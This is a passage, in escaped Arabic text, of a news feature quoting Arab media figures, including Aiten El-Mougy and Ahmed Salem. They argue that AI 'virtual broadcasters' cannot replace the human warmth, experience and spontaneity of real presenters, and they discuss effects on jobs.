\u0627\u0644\u0639\u0645\u0644 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a \u0648\u063a\u064a\u0631\u0647\u060c \u0645\u0634\u064a\u0631\u0629 \u0625\u0644\u0649 \u0623\u0646 \u0627\u0644\u0646\u062c\u0627\u062d \u0627\u0644\u062d\u0642\u064a\u0642\u064a \u0644\u0627 \u064a\u062a\u062d\u0642\u0642 \u0625\u0644\u0627 \u0628\u0627\u0644\u0625\u062e\u0644\u0627\u0635 \u0641\u064a \u0627\u0644\u0642\u0648\u0644 \u0648\u0627\u0644\u0639\u0645\u0644\u060c \u062d\u062a\u0649 \u0648\u0625\u0646 \u062a\u0623\u062e\u0631\u060c \u0641\u0625\u0646\u0647 \u0633\u064a\u0623\u062a\u064a \u0641\u064a \u0627\u0644\u0646\u0647\u0627\u064a\u0629 \u0628\u0634\u0643\u0644 \u0645\u0631\u0636\u064d.\r\n\r\n\u0648\u062a\u0631\u0649 \u0641\u0627\u0631\u0648\u0642 \u0623\u0646 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u060c \u0631\u063a\u0645 \u0628\u0631\u0645\u062c\u062a\u0647 \u0628\u0623\u064a \u0644\u0647\u062c\u0629 \u0623\u0648 \u062e\u0641\u0629 \u0638\u0644\u060c \u0644\u0627 \u064a\u0645\u0643\u0646\u0647 \u0623\u0646 \u064a\u062d\u0627\u0643\u064a \u0627\u0644\u0631\u0648\u062d \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u0629\u060c \u0645\u0624\u0643\u062f\u0629 \u0623\u0646 \u201c\u0627\u0644\u0631\u0648\u062d \u0644\u0627 \u062a\u064f\u0628\u0631\u0645\u062c\u060c \u0648\u0627\u0644\u0642\u0628\u0648\u0644 \u0627\u0644\u0631\u0648\u062d\u064a \u0644\u0627 \u064a\u064f\u0635\u0646\u0639\u201d\u060c \u0641\u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u064a\u062a\u0645\u062a\u0639 \u0628\u062e\u0641\u0629 \u0638\u0644 \u0637\u0628\u064a\u0639\u064a\u0629 \u0648\u0634\u062e\u0635\u064a\u0629 \u0644\u0627 \u064a\u0645\u0643\u0646 \u062a\u0642\u0644\u064a\u062f\u0647\u0627 \u0628\u0631\u0645\u062c\u064a\u0627\u064b.\r\n\r\n\u0648\u062a\u0648\u0636\u062d \u0623\u0646 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0642\u0627\u062f\u0631 \u0639\u0644\u0649 \u062a\u062c\u0645\u064a\u0639 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u062f\u064a\u0646\u064a\u0629 \u0645\u0646 \u0627\u0644\u0625\u0646\u062a\u0631\u0646\u062a\u060c \u0644\u0643\u0646\u0647 \u0644\u0627 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0639\u0648\u0651\u0636 \u0627\u0644\u062a\u0641\u0627\u0639\u0644 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a \u0641\u064a \u0627\u0644\u0641\u062a\u0648\u0649 \u0623\u0648 \u0627\u0644\u0645\u0634\u0648\u0631\u0629\u060c \u0645\u0634\u062f\u062f\u0629 \u0639\u0644\u0649 \u0623\u0646 \u201c\u0627\u0644\u0639\u0644\u0645\u0627\u0621 \u0648\u0627\u0644\u0634\u064a\u0648\u062e \u0647\u0645 \u0623\u0635\u062d\u0627\u0628 \u0639\u0644\u0645 \u0648\u062a\u062c\u0631\u0628\u0629 \u0648\u0648\u0639\u064a \u0628\u0627\u0644\u0633\u064a\u0627\u0642\u201d\u060c \u0641\u064a \u062d\u064a\u0646 \u0623\u0646 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0645\u062c\u0631\u062f \u0645\u062d\u0631\u0643 \u0628\u062d\u062b \u064a\u062e\u0636\u0639 \u0644\u0628\u0631\u0645\u062c\u0629 \u0628\u0634\u0631\u064a\u0629 \u0642\u062f \u062a\u062e\u0637\u0626.\r\n\r\n\u0648\u062a\u0624\u0645\u0646 \u062f\u0639\u0627\u0621 \u0628\u0623\u0646 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0628\u0634\u0631\u064a \u0644\u0627 \u064a\u0645\u0643\u0646 \u0627\u0633\u062a\u0628\u062f\u0627\u0644\u0647\u060c \u062e\u0627\u0635\u0629 \u0641\u064a \u0627\u0644\u0628\u0631\u0627\u0645\u062c \u0630\u0627\u062a \u0627\u0644\u0637\u0627\u0628\u0639 \u0627\u0644\u062f\u064a\u0646\u064a \u0623\u0648 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u060c \u0644\u0623\u0646 \u201c\u0627\u0644\u0641\u0646\u0627\u0646 \u0623\u0648 \u0627\u0644\u0645\u0630\u064a\u0639 \u0643\u062a\u0644\u0629 \u0645\u0646 \u0627\u0644\u0645\u0634\u0627\u0639\u0631\u201d\u060c \u0628\u064a\u0646\u0645\u0627 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u201c\u0644\u0627 \u064a\u0633\u062a\u0637\u064a\u0639 \u0627\u0644\u0628\u0643\u0627\u0621 \u0627\u0644\u062d\u0642\u064a\u0642\u064a\u060c \u0648\u0644\u0627 \u0627\u0644\u062a\u0639\u0628\u064a\u0631 \u0639\u0646 \u0627\u0644\u062d\u0632\u0646 \u0623\u0648 \u0627\u0644\u062a\u0641\u0627\u0639\u0644 \u0645\u0639 \u0645\u0648\u0642\u0641 \u0645\u0648\u062c\u0639\u201d\u060c \u0645\u0636\u064a\u0641\u0629 \u0623\u0646 \u0627\u0644\u0639\u0642\u0644 \u0627\u0644\u0628\u0634\u0631\u064a \u0642\u0627\u062f\u0631 \u0639\u0644\u0649 \u062a\u0645\u064a\u064a\u0632 \u0627\u0644\u0645\u0634\u0627\u0639\u0631 \u0627\u0644\u062d\u0642\u064a\u0642\u064a\u0629 \u0645\u0646 \u0627\u0644\u0632\u0627\u0626\u0641\u0629\u060c \u062d\u062a\u0649 \u0648\u0625\u0646 \u0643\u0627\u0646\u062a \u0627\u0644\u0628\u0631\u0645\u062c\u0629 \u0645\u062a\u0642\u0646\u0629.\r\n\r\n\u0648\u0641\u064a\u0645\u0627 \u064a\u062e\u0635 \u0627\u0644\u062a\u0643\u064a\u0641 \u0645\u0639 \u0627\u0644\u062a\u0637\u0648\u0631\u060c \u062a\u062f\u0639\u0648 \u0641\u0627\u0631\u0648\u0642 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u064a\u0646 \u0625\u0644\u0649 \u0645\u0648\u0627\u0643\u0628\u0629 \u0623\u062f\u0648\u0627\u062a \u0627\u0644\u0639\u0635\u0631 \u0648\u0641\u0647\u0645 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a\u060c \u0644\u0643\u0646 \u062f\u0648\u0646 \u0627\u0644\u062a\u062e\u0644\u064a \u0639\u0646 \u0627\u0644\u0647\u0648\u064a\u0629 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u0629 \u0648\u0627\u0644\u0628\u0635\u0645\u0629 \u0627\u0644\u0634\u062e\u0635\u064a\u0629\u060c \u0642\u0627\u0626\u0644\u0629: \u201c\u0643\u0644 \u0645\u0630\u064a\u0639 \u0644\u0647 \u0628\u0635\u0645\u0629 \u0644\u0627 \u064a\u0645\u0643\u0646 \u0644\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u062a\u0642\u0644\u064a\u062f\u0647\u0627\u201d\u060c \u0641\u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f \u0639\u0644\u0649 \u0627\u0644\u0648\u0631\u0642\u0629 \u0648\u0627\u0644\u0642\u0644\u0645 \u0648\u062d\u062f\u0647 \u0644\u0645 \u064a\u0639\u062f \u0643\u0627\u0641\u064a\u064b\u0627\u060c \u0648\u064a\u062c\u0628 \u0639\u0644\u0649 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a \u0623\u0646 \u064a\u062a\u0648\u0627\u0635\u0644 \u0645\u0639 \u062c\u0645\u0647\u0648\u0631 \u0627\u0644\u064a\u0648\u0645 \u0628\u0623\u062f\u0648\u0627\u062a \u062d\u062f\u064a\u062b\u0629 \u062f\u0648\u0646 \u0627\u0644\u062a\u0641\u0631\u064a\u0637 \u0628\u0631\u0648\u062d\u0647 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u0629.\r\n\r\n\u0648\u062a\u0642\u0631 \u0628\u0648\u062c\u0648\u062f \u062a\u0647\u062f\u064a\u062f\u0627\u062a \u0645\u0646 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0644\u0628\u0639\u0636 \u0627\u0644\u0648\u0638\u0627\u0626\u0641 \u0627\u0644\u0631\u0648\u062a\u064a\u0646\u064a\u0629\u060c \u0644\u0643\u0646\u0647\u0627 \u062a\u0624\u0643\u062f \u0623\u0646\u0647 \u0644\u0646 \u064a\u062d\u0644 \u0645\u062d\u0644 \u0645\u0646 \u064a\u062e\u0627\u0637\u0628 \u0627\u0644\u0646\u0627\u0633 \u0648\u064a\u0634\u0639\u0631 \u0628\u0647\u0645\u060c \u0645\u0636\u064a\u0641\u0629: \u201c\u0644\u0645 \u0623\u0634\u0627\u0647\u062f \u0631\u0648\u0628\u0648\u062a\u064b\u0627 \u064a\u0645\u0643\u0646 \u0623\u0646 \u0623\u0635\u062f\u0642\u0647 \u0623\u0648 \u0623\u0631\u062a\u0628\u0637 \u0628\u0647 \u0639\u0627\u0637\u0641\u064a\u064b\u0627\u060c \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0633\u064a\u0628\u0642\u0649 \u0628\u0644\u0627 \u0631\u0648\u062d.\u201d\r\n\r\n\u0648\u0641\u064a \u062e\u062a\u0627\u0645 \u062d\u062f\u064a\u062b\u0647\u0627\u060c \u062a\u0648\u062c\u0651\u0647 \u0631\u0633\u0627\u0644\u0629 \u0625\u0644\u0649 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u064a\u0646 \u0627\u0644\u0634\u0628\u0627\u0628\u060c \u062a\u062d\u062b\u0647\u0645 \u0641\u064a\u0647\u0627 \u0639\u0644\u0649 \u0627\u0644\u0635\u0628\u0631 \u0648\u062a\u062c\u0646\u0651\u0628 \u0627\u0633\u062a\u0639\u062c\u0627\u0644 \u0627\u0644\u0634\u0647\u0631\u0629 \u0623\u0648 \u0627\u0644\u062b\u0631\u0627\u0621\u060c \u0645\u0634\u062f\u062f\u0629 \u0639\u0644\u0649 \u0623\u0646 \u201c\u0627\u0644\u0646\u062c\u0627\u062d \u0627\u0644\u062d\u0642\u064a\u0642\u064a \u0644\u0627 \u064a\u0623\u062a\u064a \u0641\u064a \u064a\u0648\u0645 \u0648\u0644\u064a\u0644\u0629\u201d\u060c \u0628\u0644 \u0647\u0648 \u0646\u062c\u0627\u062d \u062a\u0631\u0627\u0643\u0645\u064a \u064a\u064f\u0628\u0646\u0649 \u0628\u0627\u0644\u062a\u0639\u0628 \u0648\u0627\u0644\u0645\u062a\u0627\u0628\u0639\u0629 \u0648\u0627\u0644\u0632\u0631\u0639 \u0627\u0644\u062f\u0627\u0626\u0645\u060c \u0645\u0624\u0643\u062f\u0629 \u0623\u0646 \u0627\u0644\u0646\u062c\u0627\u062d \u0627\u0644\u0633\u0631\u064a\u0639 \u064a\u0632\u0648\u0644 \u0633\u0631\u064a\u0639\u064b\u0627\u060c \u0628\u064a\u0646\u0645\u0627 \u0627\u0644\u0646\u062c\u0627\u062d \u0627\u0644\u0645\u062a\u064a\u0646 \u0647\u0648 \u0645\u0646 \u064a\u0635\u0646\u0639 \u0627\u0644\u0627\u0633\u0645 \u0648\u0627\u0644\u0642\u064a\u0645\u0629 \u0627\u0644\u062c\u0645\u0627\u0647\u064a\u0631\u064a\u0629.\r\n\r\n\u00a0\u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u0629 \"\u0627\u064a\u062a\u0646 \u0627\u0644\u0645\u0648\u062c\u0649\"\r\n\r\n\u062d\u064a\u062b \u062a\u0631\u0649 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u0629 \u0622\u064a\u062a\u0646 \u0627\u0644\u0645\u0648\u062c\u064a \u0623\u0646 \u0627\u0644\u062a\u0643\u0646\u0648\u0644\u0648\u062c\u064a\u0627 \u0623\u062d\u062f\u062b\u062a \u062a\u0637\u0648\u0631\u064b\u0627 \u0643\u0628\u064a\u0631\u064b\u0627 \u0641\u064a \u062c\u0645\u064a\u0639 \u0627\u0644\u0645\u062c\u0627\u0644\u0627\u062a\u060c \u062e\u0627\u0635\u0629 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u060c \u0644\u0645\u0627 \u0644\u0647 \u0645\u0646 \u062f\u0648\u0631 \u0641\u064a \u062a\u0634\u0643\u064a\u0644 \u0627\u0644\u0648\u0639\u064a. \u0648\u062a\u0635\u0641 \u0641\u0643\u0631\u0629 \u201c\u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u201d \u0628\u0623\u0646\u0647\u0627 \u0631\u0627\u0626\u0639\u0629\u060c \u0646\u0638\u0631\u064b\u0627 \u0644\u0645\u0627 \u064a\u062a\u0645\u062a\u0639 \u0628\u0647 \u0645\u0646 \u062b\u0642\u0627\u0641\u0629 \u0645\u0648\u0633\u0648\u0639\u064a\u0629 \u0648\u062e\u0644\u0648\u0647 \u0645\u0646 \u0627\u0644\u0639\u064a\u0648\u0628 \u0627\u0644\u0628\u0634\u0631\u064a\u0629 \u0645\u062b\u0644 \u0627\u0644\u062a\u0642\u062f\u0645 \u0641\u064a \u0627\u0644\u0639\u0645\u0631 \u0623\u0648 \u062a\u063a\u064a\u0631 \u0627\u0644\u0634\u0643\u0644\u060c \u0643\u0645\u0627 \u062a\u0631\u0649 \u0623\u0646 \u0648\u062c\u0648\u062f\u0647 \u0642\u062f \u064a\u062e\u0644\u0642 \u063a\u064a\u0631\u0629 \u0645\u0647\u0646\u064a\u0629 \u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u062a\u062f\u0641\u0639 \u0627\u0644\u0645\u0630\u064a\u0639\u064a\u0646 \u0627\u0644\u0628\u0634\u0631\u064a\u064a\u0646 \u0644\u0628\u0630\u0644 \u062c\u0647\u062f \u0623\u0643\u0628\u0631 \u0645\u0646 \u0623\u062c\u0644 \u0627\u0644\u062a\u0645\u064a\u0632.\r\n\r\n\u0645\u0639 \u0630\u0644\u0643\u060c \u062a\u0624\u0643\u062f \u0623\u0646 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a \u064a\u0641\u062a\u0642\u0631 \u0625\u0644\u0649 \u0627\u0644\u062c\u0627\u0646\u0628 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u060c \u0645\u062b\u0644 \u0627\u0644\u0645\u0634\u0627\u0639\u0631 \u0648\u0644\u0645\u0639\u0629 \u0627\u0644\u0639\u064a\u0646 \u0648\u0627\u0644\u062a\u0641\u0627\u0639\u0644 \u0627\u0644\u062d\u064a \u0641\u064a \u0627\u0644\u0645\u0648\u0627\u0642\u0641 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u0629\u060c \u0645\u0634\u064a\u0631\u0629 \u0625\u0644\u0649 \u0623\u0646 \u0647\u0630\u0647 \u0627\u0644\u062a\u0641\u0627\u0635\u064a\u0644 \u0644\u0627 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u062a\u0642\u0646\u0647\u0627 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a. \u0648\u062a\u0648\u0636\u062d \u0623\u0646 \u0628\u0639\u0636 \u0627\u0644\u0623\u0646\u0645\u0627\u0637 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u0629 \u0645\u062b\u0644 \u0627\u0644\u062d\u0648\u0627\u0631\u0627\u062a\u060c \u062a\u063a\u0637\u064a\u0629 \u0627\u0644\u062c\u0631\u0627\u0626\u0645\u060c \u0627\u0644\u062d\u0631\u0648\u0628\u060c \u0648\u0628\u0631\u0627\u0645\u062c \u0627\u0644\u0645\u0633\u0627\u0628\u0642\u0627\u062a\u060c \u062a\u062d\u062a\u0627\u062c \u0625\u0644\u0649 \u062d\u0636\u0648\u0631 \u0628\u0634\u0631\u064a \u062d\u0642\u064a\u0642\u064a \u0648\u062a\u0641\u0627\u0639\u0644 \u0645\u0628\u0627\u0634\u0631 \u0644\u0627 \u064a\u0633\u062a\u0637\u064a\u0639 \u201c\u0627\u0644\u0623\u0641\u0627\u062a\u0627\u0631\u201d \u062a\u0642\u062f\u064a\u0645\u0647.\r\n\r\n\u0648\u062a\u0634\u062f\u062f \u0627\u0644\u0645\u0648\u062c\u064a \u0639\u0644\u0649 \u0623\u0646 \u0627\u0644\u062e\u0628\u0631\u0629 \u0648\u0627\u0644\u062a\u062c\u0627\u0631\u0628 \u0627\u0644\u0634\u062e\u0635\u064a\u0629 \u062a\u0635\u0642\u0644 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0648\u062a\u0645\u0646\u062d\u0647 \u0646\u0636\u062c\u064b\u0627 \u0644\u0627 \u064a\u0645\u0643\u0646 \u0644\u0644\u062a\u0643\u0646\u0648\u0644\u0648\u062c\u064a\u0627 \u0623\u0646 \u062a\u062d\u0627\u0643\u064a\u0647\u060c \u0645\u0634\u0628\u0647\u0629 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0628\u0623\u0646\u0647 \u0642\u062f \u064a\u0628\u0647\u0631 \u0641\u064a \u0627\u0644\u0628\u062f\u0627\u064a\u0629 \u0644\u0643\u0646 \u0633\u0631\u0639\u0627\u0646 \u0645\u0627 \u064a\u0635\u064a\u0628 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645 \u0628\u0627\u0644\u0645\u0644\u0644 \u0628\u0633\u0628\u0628 \u0625\u062c\u0627\u0628\u0627\u062a\u0647 \u0627\u0644\u0645\u0628\u0631\u0645\u062c\u0629. \u0648\u062a\u0624\u0645\u0646 \u0628\u0623\u0647\u0645\u064a\u0629 \u0645\u0648\u0627\u0643\u0628\u0629 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u064a\u0646 \u0644\u0644\u062a\u0637\u0648\u0631 \u0627\u0644\u062a\u0643\u0646\u0648\u0644\u0648\u062c\u064a\u060c \u0645\u0639 \u0636\u0631\u0648\u0631\u0629 \u0627\u0644\u062a\u0648\u0627\u0636\u0639 \u0648\u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0645\u0633\u062a\u0645\u0631.\r\n\r\n\u0623\u0645\u0627 \u062a\u0623\u062b\u064a\u0631 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a \u0639\u0644\u0649 \u0641\u0631\u0635 \u0627\u0644\u0639\u0645\u0644\u060c \u0641\u062a\u0639\u062a\u0642\u062f \u0623\u0646\u0647 \u0633\u064a\u0643\u0648\u0646 \u0645\u0644\u0645\u0648\u0633\u064b\u0627 \u0641\u064a \u0627\u0644\u0628\u062f\u0627\u064a\u0629\u060c \u0625\u0630 \u0642\u062f \u062a\u0641\u0636\u0644 \u0628\u0639\u0636 \u0627\u0644\u0645\u0624\u0633\u0633\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f \u0639\u0644\u064a\u0647 \u0643\u062d\u0644 \u0623\u0642\u0644 \u062a\u0643\u0644\u0641\u0629\u060c \u0644\u0643\u0646\u0647\u0627 \u062a\u0631\u0649 \u0623\u0646 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0628\u0634\u0631\u064a \u0633\u064a\u0638\u0644 \u0645\u0645\u064a\u0632\u064b\u0627\u060c \u0645\u0631\u062c\u062d\u0629 \u0623\u0646 \u064a\u0638\u0647\u0631 \u0645\u0633\u062a\u0642\u0628\u0644\u064b\u0627 \u062a\u0639\u0627\u0648\u0646 \u0623\u0648 \u062a\u0646\u0627\u063a\u0645 \u0628\u064a\u0646 \u0627\u0644\u0637\u0631\u0641\u064a\u0646 \u064a\u064f\u0646\u062a\u062c \u0623\u0641\u0643\u0627\u0631\u064b\u0627 \u0645\u0628\u062a\u0643\u0631\u0629 \u0648\u062c\u062f\u064a\u062f\u0629.\r\n\r\n\u00a0\u0627\u0644\u0627\u0639\u0644\u0627\u0645\u0649 \u2013 \u0627\u062d\u0645\u062f \u0633\u0627\u0644\u0645\r\n\r\n\u0643\u0645\u0627 \u064a\u0631\u0649 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a \u0623\u062d\u0645\u062f \u0633\u0627\u0644\u0645 \u0623\u0646 \u0627\u0644\u0645\u0630\u064a\u0639\u064a\u0646 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u064a\u0646 \u0644\u0627 \u064a\u0634\u0643\u0651\u0644\u0648\u0646 \u062a\u0647\u062f\u064a\u062f\u064b\u0627 \u062d\u0642\u064a\u0642\u064a\u064b\u0627 \u0644\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0628\u0634\u0631\u064a\u060c \u0644\u0623\u0646 \u0627\u0644\u062a\u0648\u0627\u0635\u0644 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a \u0644\u0627 \u064a\u0645\u0643\u0646 \u062a\u0639\u0648\u064a\u0636\u0647. \u0648\u064a\u0634\u064a\u0631 \u0625\u0644\u0649 \u0623\u0646 \u0627\u0644\u062a\u062c\u0631\u0628\u0629 \u0627\u0644\u0645\u0645\u062a\u062f\u0629 \u0644\u0623\u0643\u062b\u0631 \u0645\u0646 \u0639\u0627\u0645 \u0644\u0645 \u062a\u0646\u062a\u062c \u0645\u0630\u064a\u0639\u064b\u0627 \u0627\u0641\u062a\u0631\u0627\u0636\u064a\u064b\u0627 \u0644\u0627\u0641\u062a\u064b\u0627\u060c \u0645\u0624\u0643\u062f\u064b\u0627 \u0623\u0646 \u0627\u0644\u0625\u0639\u0644\u0627\u0645 \u0648\u0627\u0644\u0641\u0646\u0648\u0646 \u062a\u0642\u0648\u0645 \u0639\u0644\u0649 \u0627\u0644\u062a\u0641\u0627\u0639\u0644 \u0627\u0644\u0645\u0628\u0627\u0634\u0631\u060c \u0648\u0647\u0648 \u0645\u0627 \u064a\u0641\u062a\u0642\u0631 \u0625\u0644\u064a\u0647 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a.\r\n\r\n\u0648\u064a\u064f\u0628\u0631\u0632 \u0633\u0627\u0644\u0645 \u0623\u0646 \u0627\u0644\u0645\u064a\u0632\u0629 \u0627\u0644\u0643\u0628\u0631\u0649 \u0644\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0628\u0634\u0631\u064a \u062a\u0643\u0645\u0646 \u0641\u064a \u0631\u0623\u064a\u0647 \u0627\u0644\u062d\u064a \u0648\u063a\u064a\u0631 \u0627\u0644\u0645\u0628\u0631\u0645\u062c\u060c \u0639\u0644\u0649 \u0639\u0643\u0633 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0627\u0644\u0630\u064a \u064a\u0639\u062a\u0645\u062f \u0639\u0644\u0649 \u062a\u063a\u0630\u064a\u0629 \u0645\u0633\u0628\u0642\u0629\u060c \u0645\u0648\u0636\u062d\u064b\u0627 \u0623\u0646 \u0637\u0631\u062d \u0646\u0641\u0633 \u0627\u0644\u0633\u0624\u0627\u0644 \u0639\u0644\u0649 \u0639\u0634\u0631\u0629 \u0645\u0630\u064a\u0639\u064a\u0646 \u0633\u064a\u0646\u062a\u062c \u0639\u0634\u0631 \u0625\u062c\u0627\u0628\u0627\u062a \u0645\u062e\u062a\u0644\u0641\u0629\u060c \u0648\u0647\u0648 \u0645\u0627 \u0644\u0627 \u064a\u0645\u0643\u0646 \u062a\u062d\u0642\u064a\u0642\u0647 \u0627\u0641\u062a\u0631\u0627\u0636\u064a\u064b\u0627.\r\n\r\n\u0648\u064a\u0624\u0643\u062f \u0623\u0646 \u0627\u0644\u0628\u0631\u0627\u0645\u062c \u0627\u0644\u062a\u064a \u062a\u0639\u062a\u0645\u062f \u0639\u0644\u0649 \u0628\u0635\u0645\u0629 \u0627\u0644\u0645\u0630\u064a\u0639 \u0648\u0637\u0627\u0628\u0639\u0647 \u0627\u0644\u0634\u062e\u0635\u064a \u064a\u0635\u0639\u0628 \u0623\u0646 \u064a\u0646\u062c\u062d \u0641\u064a\u0647\u0627 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a\u060c \u0644\u0623\u0646 \u0627\u0644\u062b\u0642\u0627\u0641\u0629 \u0627\u0644\u0639\u0627\u0645\u0629 \u0648\u0627\u0644\u062e\u0628\u0631\u0629 \u0627\u0644\u0634\u062e\u0635\u064a\u0629 \u0644\u0627 \u062a\u064f\u0628\u0631\u0645\u062c\u0627\u0646\u060c \u0645\u0634\u0628\u0651\u0647\u064b\u0627 \u0627\u0644\u0641\u0631\u0642 \u0628\u064a\u0646 \u0627\u0644\u0645\u062d\u062a\u0648\u0649 \u0627\u0644\u0622\u0644\u064a \u0648\u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a \u0628\u0627\u0644\u0641\u0631\u0642 \u0628\u064a\u0646 \u0645\u0642\u0627\u0644 \u0643\u062a\u0628\u0647 \u0631\u0648\u0628\u0648\u062a \u0648\u0642\u0635\u064a\u062f\u0629 \u0643\u062a\u0628\u0647\u0627 \u0634\u0627\u0639\u0631\u060c \u0641\u0640\u0627\u0644\u0645\u0648\u0647\u0628\u0629 \u0644\u0627 \u062a\u064f\u0633\u062a\u0646\u0633\u062e.\r\n\r\n\u0648\u064a\u0631\u0649 \u0623\u0646 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0643\u0648\u0646 \u0623\u062f\u0627\u0629 \u0645\u0641\u064a\u062f\u0629 \u0644\u0644\u0645\u0630\u064a\u0639 \u0641\u064a \u062c\u0645\u0639 \u0648\u062a\u062d\u0644\u064a\u0644 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a\u060c \u0644\u0643\u0646 \u062a\u0628\u0642\u0649 \u0627\u0644\u0635\u0646\u0639\u0629 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u0629 \u0641\u064a \u062c\u0648\u0647\u0631\u0647\u0627 \u0625\u0646\u0633\u0627\u0646\u064a\u0629. \u0648\u0631\u063a\u0645 \u0623\u0646\u0647 \u0644\u0627 \u064a\u062a\u0648\u0642\u0639 \u062a\u0642\u0644\u064a\u0635\u064b\u0627 \u0645\u0628\u0627\u0634\u0631\u064b\u0627 \u0644\u0644\u0648\u0638\u0627\u0626\u0641\u060c \u0625\u0644\u0627 \u0623\u0646\u0647 \u064a\u062d\u0630\u0631 \u0645\u0646 \u062a\u0623\u062b\u064a\u0631\u0627\u062a \u0627\u0644\u0648\u0627\u0642\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a \u0639\u0644\u0649 \u0633\u0648\u0642 \u0627\u0644\u0639\u0645\u0644\u060c \u0643\u0645\u0627 \u062d\u062f\u062b \u0641\u064a \u0645\u0647\u0646 \u0623\u062e\u0631\u0649\u060c \u0644\u0643\u0646\u0647 \u064a\u0624\u0645\u0646 \u0628\u0623\u0646 \u0627\u0644\u062a\u0637\u0648\u0631 \u064a\u062e\u0644\u0642 \u0623\u064a\u0636\u064b\u0627 \u0641\u0631\u0635\u064b\u0627 \u062c\u062f\u064a\u062f\u0629 \u0644\u0644\u0627\u0628\u062a\u0643\u0627\u0631.\r\n\r\n\u0648\u064a\u0639\u062a\u0628\u0631 \u0623\u0646 \u062f\u0648\u0631 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a \u0633\u064a\u0628\u0642\u0649 \u0645\u062d\u062f\u0648\u062f\u064b\u0627 \u0641\u064a \u0627\u0644\u0646\u0634\u0631\u0627\u062a \u0627\u0644\u062c\u0627\u0641\u0629 \u0648\u0627\u0644\u0645\u0648\u0627\u062f \u063a\u064a\u0631 \u0627\u0644\u062a\u0641\u0627\u0639\u0644\u064a\u0629\u060c \u0633\u0627\u062e\u0631\u064b\u0627 \u0645\u0646 \u0623\u062f\u0627\u0626\u0647 \u0628\u0642\u0648\u0644\u0647: \u201c\u062f\u0645\u0647 \u062a\u0642\u064a\u0644\u201d\u060c \u0641\u064a \u0625\u0634\u0627\u0631\u0629 \u0644\u063a\u064a\u0627\u0628 \u0627\u0644\u0642\u0628\u0648\u0644 \u0627\u0644\u062c\u0645\u0627\u0647\u064a\u0631\u064a.\r\n\r\n\u0648\u0641\u064a \u062e\u062a\u0627\u0645 \u062d\u062f\u064a\u062b\u0647\u060c \u064a\u0646\u0635\u062d 